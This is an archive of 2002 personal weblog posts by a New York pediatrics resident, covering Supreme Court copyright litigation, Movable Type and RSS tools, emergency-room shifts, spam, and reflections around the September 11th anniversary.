For those who are so inclined, Michael Dorf, Columbia Law professor, has a good two-part preview of this year’s Supreme Court term. (In actuality, it’s a preview of appellate cases; some of those that Dorf details probably won’t reach the Court this year.) Predictably, this term could bring a few questions in front of the Court that relate to the rights of people accused of terrorism; also abiding by a recent trend, there are a few death penalty-related cases on the near horizon. As always, it’ll be an interesting year to sit in the bleachers and watch.

angie harmon

I mean, as Shannon can attest, I love Angie Harmon as much as the next over-androgenized Law & Order addict, but… perhaps she should think about eating something sometime soon?

My next mini-project: build a new Movable Type website that uses the mt-rssfeed plugin to allow me to download a good amount of my daily website reads to my PalmPilot. Or has someone already written a good tool to allow syndicated reading on a PalmPilot?

I gotta tell ya’, have little to no sympathy for website publishers that complain about Internet Explorer’s third-party cookie privacy standards on the basis that it makes it harder for them to generate effective advertisements. The protections were put into IE mostly at the behest of concerned consumers, who didn’t want their viewing habits on editorial websites to be known and tracked by advertisers; web bugs were becoming out-of-control, and users frequently had no idea which domains were able to garner information about their viewing habits, even on relatively well-known websites. All Microsoft did was took a well-known standard, advocated by the Network Advertising Initiative and passed by the World Wide Web Consortium, and implemented it in Internet Explorer.

My personal favorite is that the biggest critic in this article is iVillage, whose site maintainers also admit that they haven’t deigned to add P3P-compliant statements to their sites’ privacy policies. Let’s get this straight: in order to make your advertising work, you have to add statements to your sites’ templates that codify your privacy practices. You haven’t done so… so you blame Microsoft?

Next week, we can expect an article from a company complaining that they have to remove all <blink> and <marquee> tags from their website because modern browsers don’t support them.

Yesterday was a day that verified one of my suspicions: when the weather is crappy, pediatric emergency rooms quiet down a lot, but the kids who show up are the ones who need to be there.

Normally, a shift in the ER involves convincing around 2/3 of the one billion people that you see that their kids don’t need to be seen in the emergency setting, and helping the other 1/3 get the acute care that they need. Yesterday, though, it was raining cats and dogs in New York City, and inside our ER, the volume of patients was drastically lower than normal. Instead of the usual big pile of blue (meaning non-acute) charts, the bins for the green (semi-acute) and red (acute) charts kept us occupied. I ended up admitting almost every single patient I saw to the hospital, including two infants with meningitis, a toddler with a big pneumonia, a four year-old heart transplant recipient with a fever, and an adolescent with seizures; the other residents who were on also admitted three asthmatics, two toddlers with croup, an adolescent with a large abscess, another adolescent with an incarcerated hernia, and an infant with recent heart surgery and pallor.

The moral of the story? On rainy days, it’s possible to see how a pediatric emergency department should operate — acute care for acutely-ill children.

Add another legal weblog to my bookmark list… Now, could someone help the authors of SCOTUSblog fix their archive links so I can read all of their posts?

1. Dave Winer asks for community help deciding on a way for someone’s website syndication feed to indicate that it is outdated and that there is a new version elsewhere. He punctuates the request with: “This could be a first experience at really working together, with no flames.”

2. Phil Ringnalda makes a few suggestions, and over the next few hours, a couple other community members weigh in on the pros and cons of alternate ways to implement the idea.

3. A mere twelve hours after the original post, Dave Winer himself lights the fire himself: “You guys need to step back a few steps and look at all the discussion you’re having over a brain dead simple addition. Unbelievable. Just add the fcuking namespace and be done with it. Geez Louise.”

Lawrence Lessig has filed his report on his performance in front of the Supreme Court (and his perspective on how it went) in last week’s Eldred v. Ashcroft arguments.

It’s incredibly interesting to me to see his approach to the entire line of reasoning — how the Court has historically viewed the commerce clause of the U.S. Constitution as granting an enumerated power that has inherent limits, and that the goal was to get the Court to see the copyright clause as granting a similar enumerated power. (For background, Glenn Harlan Reynolds has a great explanation of the concept of enumerated powers.) It’s also heartening to note that his worry isn’t that the Court won’t agree with the greater need to limit terms of copyrights, but that the Court will conclude that it is not within its power to set such limits. He’s right: “They are motivated to do the right thing; they are resisting the right thing for the right reasons. Both sides are good.”

Aaron Swartz also posted his recap of the arguments, as well as his entire day in Washington, D.C.; the most interesting part to me, of course, was his description of Brewster Kahle’s Internet Archive Bookmobile. I wish the damn thing would come to New York City!

While I’m not too into the new color scheme, the redesign over at Wired News deserves bigtime attention for the fact that it’s implemented completely in XHTML and CSS, proving that a large, end user-oriented website can also adhere to web standards. Great work, fellas!

From the Dahlia Lithwick department: where is her dispatch from yesterday’s Supreme Court arguments in Eldred v. Ashcroft? And how did I miss Dahlia ripping the L.A. District Attorney’s office a new asshole over its continued, dogged pursual of a felony conviction against Winona Ryder?

Michael Gartner, Pulitzer Prize winner and former president of NBC, had a funny op-ed piece in USA Today yesterday with a set of counterpropositions for the airline industry. (Many may remember Gartner’s writing from his most recent press-related position, the ombudsman for Brill’s Content magazine.)

Heard on Law & Order tonight, from Assistant DA Jack McCoy to Associate DA Serena Southerlyn: “Never get Freudian with a man with a pickle.”

On today’s Supreme Court docket was Eldred v. Ashcroft, the case contesting the lengthening of copyright protections that was pushed through Congress mostly at the behest of major media companies.

So far, there have been a few recaps of the arguments on the web, including Raul Ruiz and Ernest Miller’s perspective over on LawMeme, the recollections of Kwin Kramer, and the Washington Post and New York Times articles. (The fact that the Times article showed up in the business section speaks volumes about the real motives behind the original law.) Eagerly anticipated, of course, are the perspectives of Dahlia Lithwick and Aaron Swartz. (Not to mention the eventual retrospective by Lawrence Lessig…)

Oh, how much I love rollerblading in Central Park.

From the barrel of great ideas: ZOË, an application that sits between you and your mail, indexing it all and making it searchable (among other things). Once this puppy understands IMAP mail, I’ll have to give it a test ride.

one year of movable type

Congrats, Ben & Mena! Your work on Movable Type could not be more appreciated. Thank you, thank you, thank you.

I’m a happy SpamAssassin user, but over the past few days, I’ve noticed a bunch of unsolicited email that’s made its way through the filters and into my inbox. After investigating a little bit, it turns out that the way that the filters work changed a bit with the latest upgrade — essentially, it’s easier for long-term spammers to make their way onto the auto_whitelist (the list of addresses allowed to send mail through the filters). Luckily, though, one of the project’s administrators also noticed the failure of the new behavior, and the next revision is going to eliminate it. If you’re running version 2.42 and seeing the same thing, I’d advise you watch the download page for the 2.43 release.

What an awesome day for New York City: the U.S. Postal Service has reached a deal to sell the James Farley Building to the city, allowing the construction of a new Penn Station. The current train station is a disgrace, especially since the building of it (and Madison Square Garden) involved tearing down one of the greatest train stations ever. Since then, we’ve been left with an underground series of caverns and dark hallways that are always inhabited by a clinging, burning smell, and an arena above it all that (given the Knicks’ and Rangers’ performances) doesn’t seem to have been worth the loss of the old station.

The Farley Building was designed by the same architects — McKim, Mead, and White — that crafted the old Penn Station, as well as a ton of other buildings in and around New York City. (I admit a bit of a bias, too — they designed much of the campus of my alma mater.) From everything I’ve seen, the building will serve as a terrific replacement for what is now just an outright eyesore.

Just over a month since he died, the New York Times has a good retrospective on the 60 days that James Quinn spent with the AbioCor artificial heart in his chest. The article does a good job of demonstrating the level of detail that goes into planning trials of devices like artificial hearts, from the patients (must be within a month of expected death, must have a chest big enough to hold the device) to the family (must be able to handle the constraints, must be able to deal with the uncertainty) to the home (must have stable electrical power, must have furniture!). With the shortage of organ donors in the United States, and the loss of countless organs due to the lack of presumed consent, the development of reliable artificial organs is becoming more and more important, as is understanding what that development entails.

What does the first day of the Supreme Court term mean? Dahlia Lithwick’s first Supreme Court Dispatch of the term! Today, she pines for Supreme Court Dancers, admits to her feelings that Justice Breyer looks like a rockstar, and suggests that the majority of the currently-seated Court is cryogenically frozen every summer. Good stuff.

So, has anyone seen any Democrats lately? You’d think that, with the homeland here falling apart pretty much on its own — the stock market sucks, kids are becoming so numb to violence that a mob of them beat someone to death, there’s a sniper having his way with Maryland, and politicians are as crooked as ever — there’d be a few voices trying to offer up some different opinions on how we should be focusing our energies. Apparently, you’d be wrong. How disappointing.

For the end of my vacation, I’ve spent the last three days in Atlanta, Georgia with Shannon; we’ve been visiting Alaina for the last time (actually, my first and last times) before she makes a big move northward. We’ve had a great time — shopping has been a huge part of it, playing with the menagerie of animals down here has been another, and watching movies has made up the rest.

Tonight, we watched Startup.com, and the best I can characterize my emotional response is that it spanned the barometer from amused to incensed. Honestly, though, I was most saddened by the news that Tom formed another startup with Kaleil; I guess that some people really do always want to assume the best about others.

Tomorrow, it’s back to NYC, and Monday, it’s back to the emergency room for two weeks. It will be nice to get back to work (although I will also be returning to a personal project that got some bad news in the last two weeks), and back to my kiddos in clinic.

It’s pretty damn funny that last week’s stories about the looming extinction of blondes from the human race — ostensibly due to recessive traits and societal preferences — turns out to be a big hoax.

I’m glad that someone — Aaron Swartz — finally got around to taking the New York Times XML feeds and turning them into something more useful, namely a Times-specific weblog. This is something that’ll definitely end up in the bookmarks list; hell, with a little modification of the source, it’s also the perfect AvantGo channel.

(And I apologize, but I can’t help laughing at the fact that the XML feeds were released by the Times specifically for Radio UserLand users, but that UserLand wasn’t able to create a similar readable web page of the feeds because they couldn’t keep Radio UserLand from crashing.)

Excellent — Five Experiments with AOL’s Voice Recognition Software. Does the technology really suck as badly as this?

Which had taken or from all obstacles to the wind up to the nasty deed tonight my proper one beautiful to the world chance I will send out the scene of humor of because I know you check your males oral…

It’s funny — I’ve found myself convincing more people recently about how much cleaner the Hudson River is than they think, and then today, the New York Times went and gave me some cold, hard facts! I love when that happens, and I’d love even more if someone managed to build a beach on the Hudson shore.

Talk about idiocy: today, I received unsolicited email from none other then Sendmail. And to top it all off, what were they advertising? The Sendmail Advanced Anti-Spam Filter [*], “the most powerful email and SPAM filtering solution ever created.” Honestly, it’s sad to see cluelessness from the company that’s responsible for such a huge proportion of mail transport on the Internet.

[*] I’m not linking to the product because I’m not going to be responsible for sending business their way.

I’m not sure what triggered it, but I’ve started to feel the most minor little rumblings of panic about my upcoming (well, June 2003) move to Boston.

I think that the biggest part of the panic is just plain money-related. As a hematology/oncology fellow, my salary is most likely going to be slightly less than I currently get, and with it I’m going to have to make rent payments (in a real estate market that looks to suck as badly as New York City’s) and make car payments (something I’ve had the luxury of avoiding in my time here in NYC). Add to that a travel budget (since my whole family is in NYC, and Shannon may be in Washington D.C.), and I inevitably worry about it all. Luckily, the first year of fellowship is immensely busy, so I won’t have a lot of time to worry or to spend money in other ways.

Another part of the panic is that, over the past few months, I have achieved an entirely new level of comfort in my apartment. I’ve lived in the same two-bedroom apartment since July 1995, but I was never here alone; my first roommate was my brother, after that, a girlfriend, and most recently, an old friend from college and medical school. When it came time for him to start his residency, though, I decided to go solo, and in the time since he has moved across town, I have really made the place my home. I’m going to be very sad leaving this apartment next year.

And lastly, there’s the aforementioned fact that I may be 450 miles north of Shannon for a few years. This crossroads was pretty much unavoidable, since the fellowship decision process occurred only six months into our relationship. With much teeth-gnashing, I decided that I had to rank the best programs first, and that if Shannon and I are meant to be, we’ll survive any temporary separation. That doesn’t mean I have to be enthused about that fact, though, and throwing it into the already-nervous mix doesn’t help things.

Not that people haven’t seen these before, but in my work today I stumbled upon two good pages about the strict rendering modes of web browsers. The first, CSS Enhancements in Internet Explorer 6, is from Microsoft’s library; it describes all of the cascading stylesheet differences that IE6 brings to the table. The second, Eric Meyer’s Picking a Rendering Mode, does a good job of covering the oddities of both IE and Mozilla, as well as earlier versions of the Netscape rendering engine.

(Of course, every time I read any articles like these, I realize how badly I cannot wait for the day where web designers don’t have to worry about major rendering differences between web browsers.)

Oh, great. Just what I needed — an elitist, I-scratch-your-back-you-scratch-mine award from yet another A-lister looking to get some attention…

This link is for Lisa, who appears to need a good turn in her seemingly-neverending quest for satisfactory housing in the Big Apple: Keeping Spot and Fluffy Home. (It’s a good review of NYC’s Pet Law, which can be summarized thusly: if you have a pet for three months and make no efforts to hide it from those who maintain your building, then no matter what your lease says, you and your pet are legally in the clear.)

It’s always fun helping someone move onto Movable Type. Welcome to a wonderful new world! (Now, time to work on the comment and TrackBack templates…)

Another bit of cool geekery in Movable Type: a TrackBack module for RSS, providing a way to reference the TrackBack URLs of entries in a syndication file. In basic terms, it makes it that much easier for people who read this site via my syndication file let me know when they write something related to one of my entries.

I hope that TrackBack vs. PingBack doesn’t become another source of much discord in the weblog community. (Given the surfacing of a certain player and his random, factless opinions, though, I’m less optimistic that war can be avoided.)

A friend of mine asked me to help him fill a computer job here in New York City. Here’s his (slightly edited) description:

I am looking for an entry-level employee for a hybrid tech/production job. The person will need strong Windows 2000 skills, as well as an ability to learn. The magazine is starting to move into digital photography, and is now looking for help handling the files. The back-end system is a very cool image database with 1.4 million images; on a normal day, the magazine inserts 4,000 images and has 250 concurrent users. The work schedule is less than ideal — it includes Saturday, Sunday, and most holidays.

I can say this: the magazine is a great place to work, with lots of resources and many cool people. I know many people who work (and have worked) there, and can honestly say that the position that my friend is looking to fill is a legitimate way for someone to start working up either the technological or the editorial ladder. If you’re interested, or you know someone else who’s interested, do not email me. Instead, email picjob@jache.com with the subject “Digital Job”.

Why was there so much silence around here for the last week? Because I was on vacation! I went to Seattle, and took a three-day trip out to the San Juan Islands. Until I catch up a bit, here’s a little teaser: a view of Mount Baker, from the ferry station in Anacortes.

mount baker, from the ferry station in anacortes, wa

Other highlights of the trip: seeing the last Seattle Mariners home game this season, sticking my head into Elliott Bay Bookstore, spending an entire evening playing with one of the cutest two-and-a-half year olds ever, and getting to hang out with my brother and sister for an entire week. Oh, and one other: finding two issues of McSweeney’s quarterly journal in a random newsstand in Fremont — cooooool.

I really, really like the perspective Greg Knauss lends to the notion of a “weblog candidate” for the U.S. House of Representatives. If you’ve been following the candidacy of Tara Sue Grubb at all, the essay is worth a read.

(Oh, and you must read the comments at the end.)

In the wake of Thursday night’s attack on the Kansas City Royal’s first-base coach by a crazed father-son pair, ESPN’s Ray Ratto has a hilarious column that attempts to better understand the thought (or lack thereof) that went into attempting to ambush an anonymous baseball coach in front of 10,000 fans and dozens of security guards.

For the few (OK, very few) who have asked about it, the Lo-Fi version of Q Daily News is back. (To add it as an AvantGo channel, you can click here.)

I’ve gotta say, the best thing that has come out of the brouhaha over RSS 2.0 is that I’ve started reading rss-dev again.

(For those who don’t know, or who aren’t following the ruckus out of sheer amusement, RSS is a specification which enables websites to provide content in an easier-to-syndicate manner. There has been an authoritarian rollout of a new RSS version, and this has caused an understandable amount of angst in the developer community, many members of which use rss-dev as a more democratic forum for discussions aimed at improving the specification.)

Much like my move off of UserLand’s Manila to Movable Type, spending a little time looking over the shoulders of the developers on rss-dev reminds me that there are actually people out there who put effort into trying to improve the general community of personal website authors. This makes me happy, and makes me much more likely to use their technologies and products.

Screw the foosball table, dammit — look at all those Aeron chairs!

Did you hear? There’s a virus that’s causing infected websites to display only XML today. Victims noted so far: Sippey, Anil, Andre, Leslie, Andy, and Jason K. Due to its rapid-spreading nature and apparent magnetism for the weblog hotspots, the industry’s best and brightest minds have now committed to working on a fix. We may know more soon.

Update: Thanks go out to the virologists who worked long into the morning hours to provide a fix. Things appear to be back to normal…

line number nine

Welcome back, number 9, we missed you so.

(I’m also proud of NYC for giving the contractors, who finished the restoration of the tracks a month ahead of schedule, a $3 million bonus. Well-deserved…)

Yesterday, my new sofa arrived, and setting it up in my second bedroom set into motion a grand plan to move all my computers into the room as well, officially making it my study. When the work was all done, a computer closet was created, and I reached the pinnacle of my geekdom. (For those viewing the picture, that’s the MetaFilter server on the right, my Linux box in the middle, and my Win2K server on the left.)

So, here’s a new one for me: spam via the Windows Messenger service. (Note that that’s not MSN Messenger, but instead, the built-in networking communications service.) When Shannon and I got back from an errand today, my desktop computer had a Messenger Service dialog box with the first part of a Japanese ad for some home cleaning product; dismissing it brought up about nine more dialogs completing the ad. After doing a little research, it turns out that these spams have turned up before; there’s even a TechTV episode on the new form of annoying advertising. Alas, there won’t be any more of this on my network — my router now bans all traffic on the relevant ports. Spammers, you’re not welcome here!

The improvement in a tiny lung’s ability to draw in air, the slow easing of tension in a mom’s face as a fever dwindles away. The proud eyes of a medical student who suddenly gets it. A parent’s eventual understanding of the nature of his child’s disease, and the willingness to fight harder to help prevent complications. The bloom of a smile on a face that, for days, has known only misery. A maternal sign of relief as the needle slides into a vein and a flash of bright red appears in the tubing. The release of a held breath as news comes back good.

There are times during residency when I’m not that busy — generally, when I’m not involved in the direct care of kids admitted to the hospital — that I lose touch with the parts of my job that make me happiest. Whenever I return to the inpatient wards, it takes a little while to grab onto them again. This past week, they all came within reach, and despite a few of the most busy days of my training, I took hold.

On this day last year, after the worst tragedy I could imagine happened in my very own city, I issued a plea to donate blood. Unfortunately, much of the blood donated over the next week went unused, and had to be thrown away. Now, a year later, the U.S. blood supply has reached a critical low, something I can personally verify with the stories of my two patients who had to wait for special deliveries from the area blood bank in order to get their much-needed transfusions.

If you can find it in you to spare half an hour sometime over the next week or two, please, go give blood. You’re providing life, which seems to me to be a terrific way to pay respects to those whose lives were lost last year.

I was hoping to get a special something done for tomorrow, but have failed.

I was going to put together a TrackBack-only weblog (similar to BlogPopuli) that could be pinged by any and all September 11th-related posts. In my little brain, it could serve as a focal point for the words and wisdom coming out of the weblogging community on the anniversary of a day that both changed our lives and changed our community. A year ago tomorrow, people found their voices, relationships formed roots, and new genres of personal websites claimed their space under the weblog umbrella; I had hoped to set up a site that could try to capture some of the reflection and thought that will inevitably come from this entire community. All of America will be exposed to an avalanche of mass media reporting tomorrow on the events of September 11th, 2001, and I envisioned a forum that would spotlight the more personal counterpoint that most other webloggers found so enlightening and comforting in the hours and days following the attacks.

Alas, I failed. I so wish I hadn’t, and I hope that someone else implements this successfully. (Of course, you can ping this entry if you so desire, but it’s just not the same.)

Ummm, yeah, ditto.

Similar to the days immediately after the disasters, the New York Times Magazine has done a fantastic job in these days leading up to the first anniversary of the destruction of the World Trade Centers. First, there’s James Glanz and Eric Lipton’s “The Height of Ambition”, a seven-part story which details the decisions — architectural, design, safety — that went into the building of the skyscrapers. Then, there’s Herbert Muschamp’s “Don’t Rebuild. Reimagine.”, making public a “study project” organized by the Times in which a group of both well-known and unknown architects designed an entire framework of options for rebuilding lower Manhattan. There are also two excellent interactive features, one linked to the study project called “Reimagining Ground Zero”, and another, “How the Towers Stood and Fell”, describing the ways in which the design of the Towers led to various parts of the events of September 11th.

As we get nearer to the one-year mark of one of the worst U.S. tragedies in this generation, the press surrounding 9/11 is spiralling a bit out of control. These Times Magazine features seem to be a bit above that, and I’ve already found myself returning to them, learning more each time about what happened and what New York can do to continue healing the wounds.

Sad: it took ICANN threatening to revoke VeriSign’s control of the .com top-level domain to get the evil clowns to correct glaring problems in its database of information about who owns what domains.

Sadder: out of the seventeen examples of errors, nine of them remain uncorrected (and two more are only “corrected” in that VeriSign’s nameservers point at themselves, causing a self-recursive nightmare that prevents the domains from being resolved at all). Yes, folks, you did that division correctly — at best, VeriSign’s got a 53% failure rate, and we’re talking about the company that controls the largest single top-level domain on the Internet.

By my count, the deadline set by ICANN will be upon us in nine days (September 18th). As we get closer, I find myself wondering if the body has the strength to adhere to its threat…

What a great idea — an application that runs on your wireless-enabled Linux box, creating thousands of fake wireless access points to confuse hackers and make their break-in attempts more difficult. Part security-through-obscurity, part messin’-with-their-brains.

If anyone’s ever wondered how each year’s flu vaccine comes into being, I was goaded into describing it all in a MetaFilter thread. The basic point: despite much whining about fairness issues with the distribution of the vaccine early in the flu season, there’s a reason for it, and it’s based on the fact that the vaccine manufacturing process has to start anew every single year.

As if the terrible, horrible other things they do aren’t each enough justification for pulling VeriSign’s right to manage Internet domain registrations, ICANN nailed the incompetent company today for “taking what appears to be a cavalier attitude toward the promises it made” about keeping registration data accurate. ICANN cites seventeen specific examples of registration entries that contain plainly false information, as well as specific people at the company who were notified of the inaccuracies anywhere from thirty days to eighteen months ago. While nobody really thinks that they’ll do it, if VeriSign doesn’t both correct the specific problems and implement ways to prevent them from happening again, ICANN can take the .com domain away from them.

Let’s see… on the same day, a whaling expert openly states that a killer whale should be put to death and a whale breaches over a fishing boat, killing the owner. How can the two not be connected?

What an amazing idea: creating a tattoo using fluorescing dye that changes intensity as a person’s glucose levels fluctuate. (Gerald Cote, the Texas A&M professor who leads the development effort, has a page up about the work his lab is doing on this.) Currently, people with diabetes check their blood sugar levels up to half a dozen times a day, a process which involves pricking a fingertip with a needle, putting a drop of blood onto a test strip, and then analyzing the strip with a handheld monitor. Suffice it to say that most diabetics hate the whole process; working out a reliable way to do the same thing noninvasively would be a terrific advance, and I can’t imagine that people with diabetes wouldn’t jump all over this. (Thanks to Cory for pointing this out.)

Ohmygod, I love this Morning News story: Dennis Mahoney (the Non-Expert) “explains” why people always come and press the elevator button after you’ve already done it. I’m embarrassed to say that I recognize myself — or, more accurately, my impatience — in a few of the things ascribed to the fictional Bob. (And does anyone else remember the HBO series Not Necessarily the News, with the awesomely-invented sniglets? They were words that don’t, but should, exist, and one of the most memorable was “elacceleration,” meaning the additional speed imparted to an elevator by someone repeatedly pressing the call button. It’s a word that, for all intents and purposes, now exists in the little dictionary in my brain as a result of the show.)

While puttering around the city today, helping Shannon move back into her apartment and doing all sorts of errands, my brain kept returning to the sheer number of changes that have taken place since September 11th. Tonight, I learned that there’s now proof of the change that I’ve suspected has taken place, and which scares me the most: nearly half of America now believes that the First Amendment goes too far in protecting free speech. Of course, there’s a certain amount of irony in that — people criticizing their government for extending them the right to speak out against their government. Makes your brain hurt if you think about it enough…

There is one other finding of the poll that may put all this in the right light, though: 63% of people judged that the American educational system does either a fair or poor job of teaching students about the freedoms of the First Amendment. Perhaps if people were taught more about the importance of free speech, they’d appreciate it all the more.

Another writer I respect, Neale Talbot, weighs in on the saddening changes that have taken place over at Little Green Footballs. While Neale’s website stylesheets seem to be in the midst of a massive seizure, his analysis hits the mark, and helped me understand better the shift in attitudes that has allowed sites like LGF serve as magnets for blind hatred and vitriol against a single ethnic group. I’ve begun to wonder when people will start to take note and realize that fear, not logic, is driving much of the attitude shift. Will it be before we start to see waves of violence against people of Arabic descent in the U.S.? Before internment camps are set up? Or, like Neale asks, will people stand up against those who choose to generalize hatred for a few into oppression of many?

(Oh, and with Neale’s stylesheet issues, this is a good time to plug the CSS Stylesheet Browser, that’ll let you turn on or off any aspect of a stylesheet to make a page more readable.)

I’m in the hospital today, as the on-call senior resident, but since it’s Labor Day weekend, it’s been pretty quiet thus far. This week, though, has been completely hectic — the job of a senior resident is to walk all the various other members of the team through how to be an inpatient doctor, and this early in the academic year, it’s a very hands-on job. I have four interns on my team, and only one of them has been on the inpatient teams before; the other three have spent all week getting their sea legs, figuring out how to handle taking care of patients (most of whom have a multitude of active issues) while also participating in the day-to-day educational activities of a pediatrics residency. I also have a fourth-year medical student on the team, who essentially is supposed to be able to function at the level of an intern, and three third-year medical students, who are brand-new to the entire clinical medicine thing. It all makes for busy days, from making sure that patients get the care they need to making sure the interns and students get the teaching and help that they need.

Fortunately, we have a few extremely interesting patients in the hospital right now that have kept the curious and intellectual side of my brain in the game as well. On my team, there’s a girl whose kidneys decided to stop working for no apparent reason, a boy with Holt-Oram syndrome, and a young woman who is slowly recovering from Stevens Johnson syndrome. On the other team, there’s a boy who appears to have an incredibly rare bone and fibrous tissue disease, as well as an infant awaiting transplant for his inherited liver disease. When I get home at night, I’m enjoying reading about the diseases, and associating actual patients with the syndromes that I learned about in school. It’s how I learn best.

Well, it’s that time of year again — time for me to return to the general inpatient wards and manage the kids who’ve been admitted to the hospital for your more standard (read: non-oncologic) pediatric issues. This time, I return as the senior resident, which means that instead of micromanaging (“are you using your incentive spirometer every 10 minutes like we asked you to?”), I get to command a team of interns, subinterns, and medical students taking care of 15-20 patients. It’s a fun job, since without the micromanagement, I have a lot more time and energy to devote to thinking about bigger-picture issues and entire disease processes. I also get to see more volume — more kids, more ways of coming to medical attention, more pathology, and more interventions.

As a result, though, my volume here may decline a bit for the next four weeks — but I hope to be posting more about what’s going on inside the hospital than I normally do.

I’m not sure if the essay was meant to lead to its own validation (and I wouldn’t put it past that sneaky bastard Anil), but there may not have been any more effective a way to prove the point of this essay than the development of this thread.

I’m nearing the end of redesigning the second bedroom in my apartment, a room that had a roommate in it up until two months ago. I repainted it, wired it up so that I can move all my computers in, and bought some new furniture; the last thing I needed was a new radio for the room (so I can listen to my jazz station while I’m on my computer). I was ready to buy a little shelf system when Shannon intervened, mysteriously telling me that there were some little birdies out there that were going to satisfy my radio need, and that if possible, I should just be patient.

Yesterday, the birdies came forward — it was my brother and his fiancee, and they got me a Henry Kloss Model One table radio. I love this thing — it’s beautiful, it sounds terrific, and it’s perfect for the new room. If you’re in the market for a new radio that looks classy and sounds even classier, I recommend it. Now, maybe for the bathroom… (Oh, and thanks Noah and Lauren!)

I’m now using the MTAmazon plugin to provide the “currently reading” information over there in the sidebar. It’s neat — all I have to do is put Amazon’s ASIN for the book I’m reading into a file, and the plugin generates the HTML with the cover image, title, and author using Amazon’s XML data. I’m aware that this isn’t nearly as cool a use of the new XML programming interface as something like Amazon Light, but it’s useful to me, and that’s sorta the point of the user-accessible interfaces, isn’t it?

We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness.—That to secure these rights, Governments are instituted among Men, deriving their just powers from the consent of the governed, —That whenever any Form of Government becomes destructive of these ends, it is the Right of the People to alter or to abolish it, and to institute new Government, laying its foundation on such principles and organizing its powers in such form, as to them shall seem most likely to effect their Safety and Happiness.

— Declaration of Independence, July 4, 1776.

You see, government can hand out money, but it cannot put hope in people’s hearts or a sense of purpose in people’s lives.

— President of the United States George W. Bush, yesterday, August 23, 2002.

I think it’s phenomenally sad that our President feels that the various levels of government in the United States can’t give people hope or help them feel purpose in their daily lives. Can you imagine someone like George Washington, Abraham Lincoln, John F. Kennedy, or Franklin Delano Roosevelt uttering these words? To me, this is a mark of a failing on a truly overwhelming level, that where a President understands his role in helping the ordinary citizens of his country achieve their hopes and dreams, and feel that their existence has meaning.

Today’s one of those days when I can’t believe I got paid, since instead of spending it in the hospital, I got to chaperone 24 renal clinic patients to Six Flags Great Adventure. I was fortunate enough to escort the older kids around the park, which meant one thing: rollercoasters. Each one was better than the last, and before leaving, we got in two rides in the front row of the Nitro. We’re talking 230 feet up, and then an 80 mph near free-fall (at around a 75 to 80 degree angle), with six more hills and three or four corkscrews. It’s easily the best rollercoaster I’ve ridden. (Of course, that’s a record waiting to be broken if I’ve ever heard one.)

For the first time, I’m annoyed at Google.

Moving this site from Manila to Movable Type meant moving it to another machine, which meant that the IP address for q.queso.com needed to change. There’s a way to handle the address change gracefully, and help web clients (browsers, indexers) find your new machine quickly — for the technically-minded, a few days before the move, you set the time-to-live of the nameserver entry to a shorter duration so that nameservers are sure to grab the changed entry as soon as you make it. Alas, it turns out that Google’s indexing system doesn’t play by these well-established rules. As a result, when a site changes IP addresses, Google continues to try to index at the old address, and misses any changes to the site for anywhere from a few weeks to a few months. And what I’m seeing here is that the machine running my old site continues to get hits from Google’s indexing spider, while the real updates here on the new machine are ignored. Bleah.

At some point, when my brain is less scrambled, I need to dig into Paul Graham’s Plan for Spam (kindly pointed out by Jim Roepcke). He describes a pretty cool algorithm that he’s using to filter email and sort out the unsolicited crap, and it looks both effective and pretty neat. (Besides, how can any method that uses tokens, hashes, and a corpus not be superbly effective?)

Sorry about the sporadic downtime here tonight — I’m trying to upgrade a component of Apache, and having a bitch of a time doing it.

It seems to me that we’re in for at least a month of “shocking” pieces by CNN about various and sundry things seen on the recently-discovered al Qaeda tapes. Why do I think that? Because almost all the stories state that there are 64 of the tapes, and so far, CNN is revealing about a tape or two a day to us. On Monday, we had the tape showing dogs dying by poison gas; on Tuesday, we learned about Osama bin Laden’s declaration of war on the west. Yesterday was the day of urban terrorism training, and today’s revelation is the instructional tape on the assembly of explosives (released late yesterday on their “War on Terrorism” pages, but now carrying the lead on the website).

The sad thing about this is how up-front CNN is being about drawing out the news of the tapes. In the right-hand sidebar of most of their al Qaeda-related pages, there’s a box detailing the schedule for future stories about the tapes, and they even have a “Caught on Tape” gallery that breaks down the news by the day that it was released. The entirety of the coverage feels manipulative, and well-timed to coincide with the time when waning interest in the news coming out of the Middle East is crossing paths with the rising interest in the anniversary of the events of last September.

If you’re the kind of person who’d dig a cool-as-all-hell view of the former site of the World Trade Centers, you might want to check out Alison’s view from last week.

For those who are interested in reading the release notes for the upcoming service pack to Internet Explorer 6, they just so happen to be posted. (They were in a deep directory on the Windows Update site for a little while, but once NT BugTraq members found them, they were further hidden. Of course, someone downloaded a copy first…)

Images from my new camera are now up, in a slideshow that’s (appropriately) named First Images with a StyleCam Blink. I have to admit that, despite the obvious lack of comparison to my CoolPix 995, I’m pretty pleased with this little toy. It comes down to one thing, a bit of wisdom that my friend Phil told me: no matter what the quality, a camera that’s with you is worth infinitely more than a camera that’s sitting on a shelf at home.

In doing a little web research into a photo caption this evening, I stumbled across a great site documenting the history of King’s College in New York City. (King’s College went on to be renamed Columbia University, and was the fifth chartered school in the British Colonies.)

The site is not that unique a find — there are plenty of other websites that go into a good deal of the history of colonial higher education — but discovering it comes at a great time for me, since I’m reading City of Dreams. It’s a neat novel about five or six generations of a family of physicians, surgeons, and apothecaries as they wind their way through eighteenth-century life in what’s now New York City, and the amount of historical detail Beverly Swerling goes into (all factually correct, as far as I can tell) is amazing. I’m finding it hard to not keep grabbing my Encyclopedia of New York City to find out more about places and people mentioned in the novel, and I am loving forming mental images of the island of Manhattan in the 1700s. There’s also a good deal of medical history in the novel, which obviously isn’t diminishing my interest.

Both of these works — the website about the history of King’s College, and City of Dreams — are worth checking out.

All of the third year pediatrics residents have to do one major presentation, a talk about an interesting case that we’ve seen, including a discussion of the literature that’s relevant both to how the child presented and the disease the child ended up having. Mine is tomorrow, at 8:00 AM. Wish me luck!

I have to say, it’s damn cool that it looks like Fred Thompson, former attorney and minority counsel of the Watergate hearings, former movie actor, and current U.S. Senator from Tennessee is going to be the next New York District Attorney on Law & Order. Given Dianne Wiest’s uninspired performance over the past two years, it’ll be nice to have someone come in who has the chutzpah that Steven Hill had.

Interestingly, today, someone decided to sign up for their Western Union website account using a fake email address in one of my domains. Did she not realize that doing so means that I have total access to her account, including being able to transfer money to myself on the credit card that she stored in her account? Hell, I could just post the account login somewhere, and let others do their thing. Really, it’s one of the dumbest things this woman could have done. I guess it’s lucky for her that I have a sense of ethics.

